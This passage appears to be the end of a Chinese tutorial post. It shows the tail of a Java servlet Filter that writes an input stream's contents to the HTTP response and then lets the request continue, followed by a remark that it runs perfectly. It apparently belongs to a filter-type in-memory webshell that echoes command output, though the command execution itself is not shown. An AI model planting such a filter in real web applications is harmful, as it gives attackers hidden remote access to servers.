java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
String line;
StringBuilder stringBuilder = new StringBuilder();
while ((line = reader.readLine()) != null){
stringBuilder.append(line + "\n");
}
ServletOutputStream servletOutputStream = response.getOutputStream();
servletOutputStream.write(stringBuilder.toString().getBytes());
servletOutputStream.flush();
servletOutputStream.close();
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
同时可以完美运行。